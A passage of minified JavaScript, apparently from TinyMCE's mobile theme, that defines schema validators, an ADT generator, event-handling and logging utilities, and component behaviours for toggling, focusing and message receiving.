success[newKey] = res; }); }, function (newKey, instantiator) { success[newKey] = instantiator(obj); }); } return errors.length > 0 ? SimpleResult.serror(errors) : SimpleResult.svalue(success); }; var getSetKeys = function (obj) { return keys(filter$1(obj, isNonNullable)); }; var objOfOnly = function (fields) { var delegate = objOf(fields); var fieldNames = foldr(fields, function (acc, value) { return fold(value, function (key) { var _a; return deepMerge(acc, (_a = {}, _a[key] = true, _a)); }, constant$1(acc)); }, {}); var extract = function (path, o) { var keys = isBoolean(o) ? [] : getSetKeys(o); var extra = filter$2(keys, function (k) { return !hasNonNullableKey(fieldNames, k); }); return extra.length === 0 ? delegate.extract(path, o) : unsupportedFields(path, extra); }; return { extract: extract, toString: delegate.toString }; }; var objOf = function (values) { var extract = function (path, o) { return extractFields(path, o, values); }; var toString = function () { var fieldStrings = map$2(values, function (value) { return fold(value, function (key, _okey, _presence, prop) { return key + ' -> ' + prop.toString(); }, function (newKey, _instantiator) { return 'state(' + newKey + ')'; }); }); return 'obj{\n' + fieldStrings.join('\n') + '}'; }; return { extract: extract, toString: toString }; }; var arrOf = function (prop) { var extract = function (path, array) { var results = map$2(array, function (a, i) { return prop.extract(path.concat(['[' + i + ']']), a); }); return ResultCombine.consolidateArr(results); }; var toString = function () { return 'array(' + prop.toString() + ')'; }; return { extract: extract, toString: toString }; }; var setOf$1 = function (validator, prop) { var validateKeys = function (path, keys) { return arrOf(value$1(validator)).extract(path, keys); }; var extract = function (path, o) { var keys$1 = keys(o); var validatedKeys = validateKeys(path, keys$1); return SimpleResult.bind(validatedKeys, function (validKeys) { var schema = map$2(validKeys, function (vk) { return field$3(vk, vk, required$2(), prop); }); return objOf(schema).extract(path, o); }); }; var toString = function () { return 'setOf(' + prop.toString() + ')'; }; return { extract: extract, toString: toString }; }; var anyValue = constant$1(anyValue$1); var typedValue = function (validator, expectedType) { return value$1(function (a) { var actualType = typeof a; return validator(a) ? SimpleResult.svalue(a) : SimpleResult.serror('Expected type: ' + expectedType + ' but got: ' + actualType); }); }; var functionProcessor = typedValue(isFunction, 'function'); var chooseFrom = function (path, input, branches, ch) { var fields = get$c(branches, ch); return fields.fold(function () { return missingBranch(path, branches, ch); }, function (vp) { return vp.extract(path.concat(['branch: ' + ch]), input); }); }; var choose$2 = function (key, branches) { var extract = function (path, input) { var choice = get$c(input, key); return choice.fold(function () { return missingKey(path, key); }, function (chosen) { return chooseFrom(path, input, branches, chosen); }); }; var toString = function () { return 'chooseOn(' + key + '). Possible values: ' + keys(branches); }; return { extract: extract, toString: toString }; }; var valueOf = function (validator) { return value$1(function (v) { return validator(v).fold(SimpleResult.serror, SimpleResult.svalue); }); }; var setOf = function (validator, prop) { return setOf$1(function (v) { return SimpleResult.fromResult(validator(v)); }, prop); }; var extractValue = function (label, prop, obj) { var res = prop.extract([label], obj); return SimpleResult.mapError(res, function (errs) { return { input: obj, errors: errs }; }); }; var asRaw = function (label, prop, obj) { return SimpleResult.toResult(extractValue(label, prop, obj)); }; var getOrDie = function (extraction) { return extraction.fold(function (errInfo) { throw new Error(formatError(errInfo)); }, identity); }; var asRawOrDie$1 = function (label, prop, obj) { return getOrDie(asRaw(label, prop, obj)); }; var formatError = function (errInfo) { return 'Errors: \n' + formatErrors(errInfo.errors).join('\n') + '\n\nInput object: ' + formatObj(errInfo.input); }; var choose$1 = function (key, branches) { return choose$2(key, map$1(branches, objOf)); }; var field$2 = field$3; var customField = customField$1; var required$1 = function (key) { return field$2(key, key, required$2(), anyValue()); }; var requiredOf = function (key, schema) { return field$2(key, key, required$2(), schema); }; var forbid = function (key, message) { return field$2(key, key, asOption(), value$1(function (_v) { return SimpleResult.serror('The field: ' + key + ' is forbidden. ' + message); })); }; var requiredObjOf = function (key, objSchema) { return field$2(key, key, required$2(), objOf(objSchema)); }; var option = function (key) { return field$2(key, key, asOption(), anyValue()); }; var optionOf = function (key, schema) { return field$2(key, key, asOption(), schema); }; var optionObjOf = function (key, objSchema) { return optionOf(key, objOf(objSchema)); }; var optionObjOfOnly = function (key, objSchema) { return optionOf(key, objOfOnly(objSchema)); }; var defaulted = function (key, fallback) { return field$2(key, key, defaulted$1(fallback), anyValue()); }; var defaultedOf = function (key, fallback, schema) { return field$2(key, key, defaulted$1(fallback), schema); }; var defaultedFunction = function (key, fallback) { return defaultedOf(key, fallback, functionProcessor); }; var defaultedObjOf = function (key, fallback, objSchema) { return defaultedOf(key, fallback, objOf(objSchema)); }; var SwapSchema = [ required$1('alpha'), required$1('omega') ]; var generate$5 = function (cases) { if (!isArray(cases)) { throw new Error('cases must be an array'); } if (cases.length === 0) { throw new Error('there must be at least one case'); } var constructors = []; var adt = {}; each$1(cases, function (acase, count) { var keys$1 = keys(acase); if (keys$1.length !== 1) { throw new Error('one and only one name per case'); } var key = keys$1[0]; var value = acase[key]; if (adt[key] !== undefined) { throw new Error('duplicate key detected:' + key); } else if (key === 'cata') { throw new Error('cannot have a case named cata (sorry)'); } else if (!isArray(value)) { throw new Error('case arguments must be an array'); } constructors.push(key); adt[key] = function () { var args = []; for (var _i = 0; _i < arguments.length; _i++) { args[_i] = arguments[_i]; } var argLength = args.length; if (argLength !== value.length) { throw new Error('Wrong number of arguments to case ' + key + '. Expected ' + value.length + ' (' + value + '), got ' + argLength); } var match = function (branches) { var branchKeys = keys(branches); if (constructors.length !== branchKeys.length) { throw new Error('Wrong number of arguments to match. Expected: ' + constructors.join(',') + '\nActual: ' + branchKeys.join(',')); } var allReqd = forall(constructors, function (reqKey) { return contains$1(branchKeys, reqKey); }); if (!allReqd) { throw new Error('Not all branches were specified when using match. Specified: ' + branchKeys.join(', ') + '\nRequired: ' + constructors.join(', ')); } return branches[key].apply(null, args); }; return { fold: function () { var foldArgs = []; for (var _i = 0; _i < arguments.length; _i++) { foldArgs[_i] = arguments[_i]; } if (foldArgs.length !== cases.length) { throw new Error('Wrong number of arguments to fold. Expected ' + cases.length + ', got ' + foldArgs.length); } var target = foldArgs[count]; return target.apply(null, args); }, match: match, log: function (label) { console.log(label, { constructors: constructors, constructor: key, params: args }); } }; }; }); return adt; }; var Adt = { generate: generate$5 }; Adt.generate([ { bothErrors: [ 'error1', 'error2' ] }, { firstError: [ 'error1', 'value2' ] }, { secondError: [ 'value1', 'error2' ] }, { bothValues: [ 'value1', 'value2' ] } ]); var partition = function (results) { var errors = []; var values = []; each$1(results, function (result) { result.fold(function (err) { errors.push(err); }, function (value) { values.push(value); }); }); return { errors: errors, values: values }; }; var exclude$1 = function (obj, fields) { var r = {}; each(obj, function (v, k) { if (!contains$1(fields, k)) { r[k] = v; } }); return r; }; var wrap$1 = function (key, value) { var _a; return _a = {}, _a[key] = value, _a; }; var wrapAll$1 = function (keyvalues) { var r = {}; each$1(keyvalues, function (kv) { r[kv.key] = kv.value; }); return r; }; var exclude = function (obj, fields) { return exclude$1(obj, fields); }; var wrap = function (key, value) { return wrap$1(key, value); }; var wrapAll = function (keyvalues) { return wrapAll$1(keyvalues); }; var mergeValues = function (values, base) { return values.length === 0 ? Result.value(base) : Result.value(deepMerge(base, merge$1.apply(undefined, values))); }; var mergeErrors = function (errors) { return Result.error(flatten(errors)); }; var consolidate = function (objs, base) { var partitions = partition(objs); return partitions.errors.length > 0 ? mergeErrors(partitions.errors) : mergeValues(partitions.values, base); }; var is = function (lhs, rhs, comparator) { if (comparator === void 0) { comparator = tripleEquals; } return lhs.exists(function (left) { return comparator(left, rhs); }); }; var cat = function (arr) { var r = []; var push = function (x) { r.push(x); }; for (var i = 0; i < arr.length; i++) { arr[i].each(push); } return r; }; var sequence = function (arr) { var r = []; for (var i = 0; i < arr.length; i++) { var x = arr[i]; if (x.isSome()) { r.push(x.getOrDie()); } else { return Optional.none(); } } return Optional.some(r); }; var lift2 = function (oa, ob, f) { return oa.isSome() && ob.isSome() ? Optional.some(f(oa.getOrDie(), ob.getOrDie())) : Optional.none(); }; var someIf = function (b, a) { return b ? Optional.some(a) : Optional.none(); }; var ensureIsRoot = function (isRoot) { return isFunction(isRoot) ? isRoot : never; }; var ancestor$2 = function (scope, transform, isRoot) { var element = scope.dom; var stop = ensureIsRoot(isRoot); while (element.parentNode) { element = element.parentNode; var el = SugarElement.fromDom(element); var transformed = transform(el); if (transformed.isSome()) { return transformed; } else if (stop(el)) { break; } } return Optional.none(); }; var closest$3 = function (scope, transform, isRoot) { var current = transform(scope); var stop = ensureIsRoot(isRoot); return current.orThunk(function () { return stop(scope) ? Optional.none() : ancestor$2(scope, transform, stop); }); }; var isSource = function (component, simulatedEvent) { return eq(component.element, simulatedEvent.event.target); }; var defaultEventHandler = { can: always, abort: never, run: noop }; var nu$4 = function (parts) { if (!hasNonNullableKey(parts, 'can') && !hasNonNullableKey(parts, 'abort') && !hasNonNullableKey(parts, 'run')) { throw new Error('EventHandler defined by: ' + JSON.stringify(parts, null, 2) + ' does not have can, abort, or run!'); } return __assign(__assign({}, defaultEventHandler), parts); }; var all$1 = function (handlers, f) { return function () { var args = []; for (var _i = 0; _i < arguments.length; _i++) { args[_i] = arguments[_i]; } return foldl(handlers, function (acc, handler) { return acc && f(handler).apply(undefined, args); }, true); }; }; var any = function (handlers, f) { return function () { var args = []; for (var _i = 0; _i < arguments.length; _i++) { args[_i] = arguments[_i]; } return foldl(handlers, function (acc, handler) { return acc || f(handler).apply(undefined, args); }, false); }; }; var read$1 = function (handler) { return isFunction(handler) ? { can: always, abort: never, run: handler } : handler; }; var fuse$1 = function (handlers) { var can = all$1(handlers, function (handler) { return handler.can; }); var abort = any(handlers, function (handler) { return handler.abort; }); var run = function () { var args = []; for (var _i = 0; _i < arguments.length; _i++) { args[_i] = arguments[_i]; } each$1(handlers, function (handler) { handler.run.apply(undefined, args); }); }; return { can: can, abort: abort, run: run }; }; var derive$3 = function (configs) { return wrapAll(configs); }; var abort = function (name, predicate) { return { key: name, value: nu$4({ abort: predicate }) }; }; var can = function (name, predicate) { return { key: name, value: nu$4({ can: predicate }) }; }; var run = function (name, handler) { return { key: name, value: nu$4({ run: handler }) }; }; var runActionExtra = function (name, action, extra) { return { key: name, value: nu$4({ run: function (component, simulatedEvent) { action.apply(undefined, [ component, simulatedEvent ].concat(extra)); } }) }; }; var runOnName = function (name) { return function (handler) { return run(name, handler); }; }; var runOnSourceName = function (name) { return function (handler) { return { key: name, value: nu$4({ run: function (component, simulatedEvent) { if (isSource(component, simulatedEvent)) { handler(component, simulatedEvent); } } }) }; }; }; var redirectToUid = function (name, uid) { return run(name, function (component, simulatedEvent) { component.getSystem().getByUid(uid).each(function (redirectee) { dispatchEvent(redirectee, redirectee.element, name, simulatedEvent); }); }); }; var redirectToPart = function (name, detail, partName) { var uid = detail.partUids[partName]; return redirectToUid(name, uid); }; var cutter = function (name) { return run(name, function (component, simulatedEvent) { simulatedEvent.cut(); }); }; var stopper = function (name) { return run(name, function (component, simulatedEvent) { simulatedEvent.stop(); }); }; var runOnSource = function (name, f) { return runOnSourceName(name)(f); }; var runOnAttached = runOnSourceName(attachedToDom()); var runOnDetached = runOnSourceName(detachedFromDom()); var runOnInit = runOnSourceName(systemInit()); var runOnExecute = runOnName(execute$5()); var markAsBehaviourApi = function (f, apiName, apiFunction) { var delegate = apiFunction.toString(); var endIndex = delegate.indexOf(')') + 1; var openBracketIndex = delegate.indexOf('('); var parameters = delegate.substring(openBracketIndex + 1, endIndex - 1).split(/,\s*/); f.toFunctionAnnotation = function () { return { name: apiName, parameters: cleanParameters(parameters.slice(0, 1).concat(parameters.slice(3))) }; }; return f; }; var cleanParameters = function (parameters) { return map$2(parameters, function (p) { return endsWith(p, '/*') ? p.substring(0, p.length - '/*'.length) : p; }); }; var markAsExtraApi = function (f, extraName) { var delegate = f.toString(); var endIndex = delegate.indexOf(')') + 1; var openBracketIndex = delegate.indexOf('('); var parameters = delegate.substring(openBracketIndex + 1, endIndex - 1).split(/,\s*/); f.toFunctionAnnotation = function () { return { name: extraName, parameters: cleanParameters(parameters) }; }; return f; }; var markAsSketchApi = function (f, apiFunction) { var delegate = apiFunction.toString(); var endIndex = delegate.indexOf(')') + 1; var openBracketIndex = delegate.indexOf('('); var parameters = delegate.substring(openBracketIndex + 1, endIndex - 1).split(/,\s*/); f.toFunctionAnnotation = function () { return { name: 'OVERRIDE', parameters: cleanParameters(parameters.slice(1)) }; }; return f; }; var nu$3 = function (s) { return { classes: isUndefined(s.classes) ? [] : s.classes, attributes: isUndefined(s.attributes) ? {} : s.attributes, styles: isUndefined(s.styles) ? {} : s.styles }; }; var merge = function (defnA, mod) { return __assign(__assign({}, defnA), { attributes: __assign(__assign({}, defnA.attributes), mod.attributes), styles: __assign(__assign({}, defnA.styles), mod.styles), classes: defnA.classes.concat(mod.classes) }); }; var executeEvent = function (bConfig, bState, executor) { return runOnExecute(function (component) { executor(component, bConfig, bState); }); }; var loadEvent = function (bConfig, bState, f) { return runOnInit(function (component, _simulatedEvent) { f(component, bConfig, bState); }); }; var create$6 = function (schema, name, active, apis, extra, state) { var configSchema = objOfOnly(schema); var schemaSchema = optionObjOf(name, [optionObjOfOnly('config', schema)]); return doCreate(configSchema, schemaSchema, name, active, apis, extra, state); }; var createModes$1 = function (modes, name, active, apis, extra, state) { var configSchema = modes; var schemaSchema = optionObjOf(name, [optionOf('config', modes)]); return doCreate(configSchema, schemaSchema, name, active, apis, extra, state); }; var wrapApi = function (bName, apiFunction, apiName) { var f = function (component) { var rest = []; for (var _i = 1; _i < arguments.length; _i++) { rest[_i - 1] = arguments[_i]; } var args = [component].concat(rest); return component.config({ name: constant$1(bName) }).fold(function () { throw new Error('We could not find any behaviour configuration for: ' + bName + '. Using API: ' + apiName); }, function (info) { var rest = Array.prototype.slice.call(args, 1); return apiFunction.apply(undefined, [ component, info.config, info.state ].concat(rest)); }); }; return markAsBehaviourApi(f, apiName, apiFunction); }; var revokeBehaviour = function (name) { return { key: name, value: undefined }; }; var doCreate = function (configSchema, schemaSchema, name, active, apis, extra, state) { var getConfig = function (info) { return hasNonNullableKey(info, name) ? info[name]() : Optional.none(); }; var wrappedApis = map$1(apis, function (apiF, apiName) { return wrapApi(name, apiF, apiName); }); var wrappedExtra = map$1(extra, function (extraF, extraName) { return markAsExtraApi(extraF, extraName); }); var me = __assign(__assign(__assign({}, wrappedExtra), wrappedApis), { revoke: curry(revokeBehaviour, name), config: function (spec) { var prepared = asRawOrDie$1(name + '-config', configSchema, spec); return { key: name, value: { config: prepared, me: me, configAsRaw: cached(function () { return asRawOrDie$1(name + '-config', configSchema, spec); }), initialConfig: spec, state: state } }; }, schema: constant$1(schemaSchema), exhibit: function (info, base) { return lift2(getConfig(info), get$c(active, 'exhibit'), function (behaviourInfo, exhibitor) { return exhibitor(base, behaviourInfo.config, behaviourInfo.state); }).getOrThunk(function () { return nu$3({}); }); }, name: constant$1(name), handlers: function (info) { return getConfig(info).map(function (behaviourInfo) { var getEvents = get$c(active, 'events').getOr(function () { return {}; }); return getEvents(behaviourInfo.config, behaviourInfo.state); }).getOr({}); } }); return me; }; var NoState = { init: function () { return nu$2({ readState: constant$1('No State required') }); } }; var nu$2 = function (spec) { return spec; }; var derive$2 = function (capabilities) { return wrapAll(capabilities); }; var simpleSchema = objOfOnly([ required$1('fields'), required$1('name'), defaulted('active', {}), defaulted('apis', {}), defaulted('state', NoState), defaulted('extra', {}) ]); var create$5 = function (data) { var value = asRawOrDie$1('Creating behaviour: ' + data.name, simpleSchema, data); return create$6(value.fields, value.name, value.active, value.apis, value.extra, value.state); }; var modeSchema = objOfOnly([ required$1('branchKey'), required$1('branches'), required$1('name'), defaulted('active', {}), defaulted('apis', {}), defaulted('state', NoState), defaulted('extra', {}) ]); var createModes = function (data) { var value = asRawOrDie$1('Creating behaviour: ' + data.name, modeSchema, data); return createModes$1(choose$1(value.branchKey, value.branches), value.name, value.active, value.apis, value.extra, value.state); }; var revoke = constant$1(undefined); var Swapping = create$5({ fields: SwapSchema, name: 'swapping', apis: SwapApis }); var Cell = function (initial) { var value = initial; var get = function () { return value; }; var set = function (v) { value = v; }; return { get: get, set: set }; }; var getDocument = function () { return SugarElement.fromDom(document); }; var focus$3 = function (element) { return element.dom.focus(); }; var blur$1 = function (element) { return element.dom.blur(); }; var hasFocus = function (element) { var root = getRootNode(element).dom; return element.dom === root.activeElement; }; var active = function (root) { if (root === void 0) { root = getDocument(); } return Optional.from(root.dom.activeElement).map(SugarElement.fromDom); }; var search = function (element) { return active(getRootNode(element)).filter(function (e) { return element.dom.contains(e.dom); }); }; var global$5 = tinymce.util.Tools.resolve('tinymce.dom.DOMUtils'); var global$4 = tinymce.util.Tools.resolve('tinymce.ThemeManager'); var openLink = function (target) { var link = document.createElement('a'); link.target = '_blank'; link.href = target.href; link.rel = 'noreferrer noopener'; var nuEvt = document.createEvent('MouseEvents'); nuEvt.initMouseEvent('click', true, true, window, 0, 0, 0, 0, 0, false, false, false, false, 0, null); document.body.appendChild(link); link.dispatchEvent(nuEvt); document.body.removeChild(link); }; var DefaultStyleFormats = [ { title: 'Headings', items: [ { title: 'Heading 1', format: 'h1' }, { title: 'Heading 2', format: 'h2' }, { title: 'Heading 3', format: 'h3' }, { title: 'Heading 4', format: 'h4' }, { title: 'Heading 5', format: 'h5' }, { title: 'Heading 6', format: 'h6' } ] }, { title: 'Inline', items: [ { title: 'Bold', icon: 'bold', format: 'bold' }, { title: 'Italic', icon: 'italic', format: 'italic' }, { title: 'Underline', icon: 'underline', format: 'underline' }, { title: 'Strikethrough', icon: 'strikethrough', format: 'strikethrough' }, { title: 'Superscript', icon: 'superscript', format: 'superscript' }, { title: 'Subscript', icon: 'subscript', format: 'subscript' }, { title: 'Code', icon: 'code', format: 'code' } ] }, { title: 'Blocks', items: [ { title: 'Paragraph', format: 'p' }, { title: 'Blockquote', format: 'blockquote' }, { title: 'Div', format: 'div' }, { title: 'Pre', format: 'pre' } ] }, { title: 'Alignment', items: [ { title: 'Left', icon: 'alignleft', format: 'alignleft' }, { title: 'Center', icon: 'aligncenter', format: 'aligncenter' }, { title: 'Right', icon: 'alignright', format: 'alignright' }, { title: 'Justify', icon: 'alignjustify', format: 'alignjustify' } ] } ]; var defaults = [ 'undo', 'bold', 'italic', 'link', 'image', 'bullist', 'styleselect' ]; var isSkinDisabled = function (editor) { return editor.getParam('skin') === false; }; var readOnlyOnInit = function (_editor) { return false; }; var getToolbar = function (editor) { return editor.getParam('toolbar', defaults, 'array'); }; var getStyleFormats = function (editor) { return editor.getParam('style_formats', DefaultStyleFormats, 'array'); }; var getSkinUrl = function (editor) { return editor.getParam('skin_url'); }; var formatChanged = 'formatChanged'; var orientationChanged = 'orientationChanged'; var dropupDismissed = 'dropupDismissed'; var fromHtml$1 = function (html, scope) { var doc = scope || document; var div = doc.createElement('div'); div.innerHTML = html; return children(SugarElement.fromDom(div)); }; var get$9 = function (element) { return element.dom.innerHTML; }; var set$7 = function (element, content) { var owner = owner$2(element); var docDom = owner.dom; var fragment = SugarElement.fromDom(docDom.createDocumentFragment()); var contentElements = fromHtml$1(content, docDom); append$1(fragment, contentElements); empty(element); append$2(element, fragment); }; var getOuter = function (element) { var container = SugarElement.fromTag('div'); var clone = SugarElement.fromDom(element.dom.cloneNode(true)); append$2(container, clone); return get$9(container); }; var clone = function (original, isDeep) { return SugarElement.fromDom(original.dom.cloneNode(isDeep)); }; var shallow = function (original) { return clone(original, false); }; var getHtml = function (element) { if (isShadowRoot(element)) { return '#shadow-root'; } else { var clone = shallow(element); return getOuter(clone); } }; var element = function (elem) { return getHtml(elem); }; var chooseChannels = function (channels, message) { return message.universal ? channels : filter$2(channels, function (ch) { return contains$1(message.channels, ch); }); }; var events$a = function (receiveConfig) { return derive$3([run(receive$1(), function (component, message) { var channelMap = receiveConfig.channels; var channels = keys(channelMap); var receivingData = message; var targetChannels = chooseChannels(channels, receivingData); each$1(targetChannels, function (ch) { var channelInfo = channelMap[ch]; var channelSchema = channelInfo.schema; var data = asRawOrDie$1('channel[' + ch + '] data\nReceiver: ' + element(component.element), channelSchema, receivingData.data); channelInfo.onReceive(component, data); }); })]); }; var ActiveReceiving = /*#__PURE__*/Object.freeze({ __proto__: null, events: events$a }); var unknown = 'unknown'; var EventConfiguration; (function (EventConfiguration) { EventConfiguration[EventConfiguration['STOP'] = 0] = 'STOP'; EventConfiguration[EventConfiguration['NORMAL'] = 1] = 'NORMAL'; EventConfiguration[EventConfiguration['LOGGING'] = 2] = 'LOGGING'; }(EventConfiguration || (EventConfiguration = {}))); var eventConfig = Cell({}); var makeEventLogger = function (eventName, initialTarget) { var sequence = []; var startTime = new Date().getTime(); return { logEventCut: function (_name, target, purpose) { sequence.push({ outcome: 'cut', target: target, purpose: purpose }); }, logEventStopped: function (_name, target, purpose) { sequence.push({ outcome: 'stopped', target: target, purpose: purpose }); }, logNoParent: function (_name, target, purpose) { sequence.push({ outcome: 'no-parent', target: target, purpose: purpose }); }, logEventNoHandlers: function (_name, target) { sequence.push({ outcome: 'no-handlers-left', target: target }); }, logEventResponse: function (_name, target, purpose) { sequence.push({ outcome: 'response', purpose: purpose, target: target }); }, write: function () { var finishTime = new Date().getTime(); if (contains$1([ 'mousemove', 'mouseover', 'mouseout', systemInit() ], eventName)) { return; } console.log(eventName, { event: eventName, time: finishTime - startTime, target: initialTarget.dom, sequence: map$2(sequence, function (s) { if (!contains$1([ 'cut', 'stopped', 'response' ], s.outcome)) { return s.outcome; } else { return '{' + s.purpose + '} ' + s.outcome + ' at (' + element(s.target) + ')'; } }) }); } }; }; var processEvent = function (eventName, initialTarget, f) { var status = get$c(eventConfig.get(), eventName).orThunk(function () { var patterns = keys(eventConfig.get()); return findMap(patterns, function (p) { return eventName.indexOf(p) > -1 ? Optional.some(eventConfig.get()[p]) : Optional.none(); }); }).getOr(EventConfiguration.NORMAL); switch (status) { case EventConfiguration.NORMAL: return f(noLogger()); case EventConfiguration.LOGGING: { var logger = makeEventLogger(eventName, initialTarget); var output = f(logger); logger.write(); return output; } case EventConfiguration.STOP: return true; } }; var path = [ 'alloy/data/Fields', 'alloy/debugging/Debugging' ]; var getTrace = function () { var err = new Error(); if (err.stack !== undefined) { var lines = err.stack.split('\n'); return find$2(lines, function (line) { return line.indexOf('alloy') > 0 && !exists(path, function (p) { return line.indexOf(p) > -1; }); }).getOr(unknown); } else { return unknown; } }; var ignoreEvent = { logEventCut: noop, logEventStopped: noop, logNoParent: noop, logEventNoHandlers: noop, logEventResponse: noop, write: noop }; var monitorEvent = function (eventName, initialTarget, f) { return processEvent(eventName, initialTarget, f); }; var noLogger = constant$1(ignoreEvent); var menuFields = constant$1([ required$1('menu'), required$1('selectedMenu') ]); var itemFields = constant$1([ required$1('item'), required$1('selectedItem') ]); constant$1(objOf(itemFields().concat(menuFields()))); var itemSchema$1 = constant$1(objOf(itemFields())); var _initSize = requiredObjOf('initSize', [ required$1('numColumns'), required$1('numRows') ]); var itemMarkers = function () { return requiredOf('markers', itemSchema$1()); }; var tieredMenuMarkers = function () { return requiredObjOf('markers', [required$1('backgroundMenu')].concat(menuFields()).concat(itemFields())); }; var markers = function (required) { return requiredObjOf('markers', map$2(required, required$1)); }; var onPresenceHandler = function (label, fieldName, presence) { getTrace(); return field$2(fieldName, fieldName, presence, valueOf(function (f) { return Result.value(function () { var args = []; for (var _i = 0; _i < arguments.length; _i++) { args[_i] = arguments[_i]; } return f.apply(undefined, args); }); })); }; var onHandler = function (fieldName) { return onPresenceHandler('onHandler', fieldName, defaulted$1(noop)); }; var onKeyboardHandler = function (fieldName) { return onPresenceHandler('onKeyboardHandler', fieldName, defaulted$1(Optional.none)); }; var onStrictHandler = function (fieldName) { return onPresenceHandler('onHandler', fieldName, required$2()); }; var onStrictKeyboardHandler = function (fieldName) { return onPresenceHandler('onKeyboardHandler', fieldName, required$2()); }; var output = function (name, value) { return customField(name, constant$1(value)); }; var snapshot = function (name) { return customField(name, identity); }; var initSize = constant$1(_initSize); var ReceivingSchema = [requiredOf('channels', setOf(Result.value, objOfOnly([ onStrictHandler('onReceive'), defaulted('schema', anyValue()) ])))]; var Receiving = create$5({ fields: ReceivingSchema, name: 'receiving', active: ActiveReceiving }); var SetupBehaviourCellState = function (initialState) { var init = function () { var cell = Cell(initialState); var get = function () { return cell.get(); }; var set = function (newState) { return cell.set(newState); }; var clear = function () { return cell.set(initialState); }; var readState = function () { return cell.get(); }; return { get: get, set: set, clear: clear, readState: readState }; }; return { init: init }; }; var updateAriaState = function (component, toggleConfig, toggleState) { var ariaInfo = toggleConfig.aria; ariaInfo.update(component, ariaInfo, toggleState.get()); }; var updateClass = function (component, toggleConfig, toggleState) { toggleConfig.toggleClass.each(function (toggleClass) { if (toggleState.get()) { add$1(component.element, toggleClass); } else { remove$3(component.element, toggleClass); } }); }; var toggle = function (component, toggleConfig, toggleState) { set$6(component, toggleConfig, toggleState, !toggleState.get()); }; var on$1 = function (component, toggleConfig, toggleState) { toggleState.set(true); updateClass(component, toggleConfig, toggleState); updateAriaState(component, toggleConfig, toggleState); }; var off = function (component, toggleConfig, toggleState) { toggleState.set(false); updateClass(component, toggleConfig, toggleState); updateAriaState(component, toggleConfig, toggleState); }; var set$6 = function (component, toggleConfig, toggleState, state) { var action = state ? on$1 : off; action(component, toggleConfig, toggleState); }; var isOn = function (component, toggleConfig, toggleState) { return toggleState.get(); }; var onLoad$5 = function (component, toggleConfig, toggleState) { set$6(component, toggleConfig, toggleState, toggleConfig.selected); }; var ToggleApis = /*#__PURE__*/Object.freeze({ __proto__: null, onLoad: onLoad$5, toggle: toggle, isOn: isOn, on: on$1, off: off, set: set$6 }); var exhibit$5 = function () { return nu$3({}); }; var events$9 = function (toggleConfig, toggleState) { var execute = executeEvent(toggleConfig, toggleState, toggle); var load = loadEvent(toggleConfig, toggleState, onLoad$5); return derive$3(flatten([ toggleConfig.toggleOnExecute ? [execute] : [], [load] ])); }; var ActiveToggle = /*#__PURE__*/Object.freeze({ __proto__: null, exhibit: exhibit$5, events: events$9 }); var updatePressed = function (component, ariaInfo, status) { set$8(component.element, 'aria-pressed', status); if (ariaInfo.syncWithExpanded) { updateExpanded(component, ariaInfo, status); } }; var updateSelected = function (component, ariaInfo, status) { set$8(component.element, 'aria-selected', status); }; var updateChecked = function (component, ariaInfo, status) { set$8(component.element, 'aria-checked', status); }; var updateExpanded = function (component, ariaInfo, status) { set$8(component.element, 'aria-expanded', status); }; var ToggleSchema = [ defaulted('selected', false), option('toggleClass'), defaulted('toggleOnExecute', true), defaultedOf('aria', { mode: 'none' }, choose$1('mode', { pressed: [ defaulted('syncWithExpanded', false), output('update', updatePressed) ], checked: [output('update', updateChecked)], expanded: [output('update', updateExpanded)], selected: [output('update', updateSelected)], none: [output('update', noop)] })) ]; var Toggling = create$5({ fields: ToggleSchema, name: 'toggling', active: ActiveToggle, apis: ToggleApis, state: SetupBehaviourCellState(false) }); var format = function (command, update) { return Receiving.config({ channels: wrap(formatChanged, { onReceive: function (button, data) { if (data.command === command) { update(button, data.state); } } }) }); }; var orientation = function (onReceive) { return Receiving.config({ channels: wrap(orientationChanged, { onReceive: onReceive }) }); }; var receive = function (channel, onReceive) { return { key: channel, value: { onReceive: onReceive } }; }; var prefix$2 = 'tinymce-mobile'; var resolve = function (p) { return prefix$2 + '-' + p; }; var pointerEvents = function () { var onClick = function (component, simulatedEvent) { simulatedEvent.stop(); emitExecute(component); }; return [ run(click(), onClick), run(tap(), onClick), cutter(touchstart()), cutter(mousedown()) ]; }; var events$8 = function (optAction) { var executeHandler = function (action) { return runOnExecute(function (component, simulatedEvent) { action(component); simulatedEvent.stop(); }); }; return derive$3(flatten([ optAction.map(executeHandler).toArray(), pointerEvents() ])); }; var focus$2 = function (component, focusConfig) { if (!focusConfig.ignore) { focus$3(component.element); focusConfig.onFocus(component); } }; var blur = function (component, focusConfig) { if (!focusConfig.ignore) { blur$1(component.element); } }; var isFocused = function (component) { return hasFocus(component.element); }; var FocusApis = /*#__PURE__*/Object.freeze({ __proto__: null, focus: focus$2, blur: blur, isFocused: isFocused }); var exhibit$4 = function (base, focusConfig) { var mod = focusConfig.ignore ? {} : { attributes: { tabindex: '-1' } }; return nu$3(mod); }; var events$7 = function (focusConfig) { return derive$3([run(focus$4(), function (component, simulatedEvent) { focus$2(component, focusConfig); simulatedEvent.stop(); })].concat(focusConfig.stopMousedown ? [run(mousedown(), function (_, simulatedEvent) { simulatedEvent.event.prevent(); })] : [])); }; var ActiveFocus = /*#__PURE__*/Object.freeze({ __proto__: null, exhibit: exhibit$4, events: events$7 }); var FocusSchema = [ onHandler('onFocus'), defaulted('stopMousedown', false), defaulted('ignore', false) ]; var Focusing = create$5({ fields: FocusSchema, name: 'focusing', active: ActiveFocus, apis: FocusApis }); var isSupported = function (dom) { return dom.style !== undefined && isFunction(dom.style.getPropertyValue); }; var internalSet = function (dom, property, value) { if (!isString(value)) { console.error('Invalid call to CSS.set. Property ', property, ':: Value ', value, ':: Element ', dom); throw new Error('CSS value must be a string: ' + value); } if (isSupported(dom)) { dom.style.setProperty(property, value); } }; var internalRemove = function (dom, property) { if (isSupported(dom)) { dom.style.removeProperty(property); } }; var set$5 = function (element, property, value) { var dom = element.dom; internalSet(dom, property, value); }; var setAll = function (element, css) { var dom = element.dom; each(css, function (v, k) { internalSet(dom, k, v); }); }; var get$8 = function (element, property) { var dom = element.dom; var styles = window.getComputedStyle(dom); var r = styles.getPropertyValue(property); return r === '' && !inBody(element) ? getUnsafeProperty(dom, property) : r; }; var getUnsafeProperty = function (dom, property) { return isSupported(dom) ? dom.style.getPropertyValue(property) : ''; }; var getRaw = function (element, property) { var dom = element.dom; var raw = getUnsafeProperty(dom, property); return Optional.from(raw).filter(function (r) { return r.length > 0; }); }; var remove$2 = function (element, property) { var dom = element.dom; internalRemove(dom, property); if 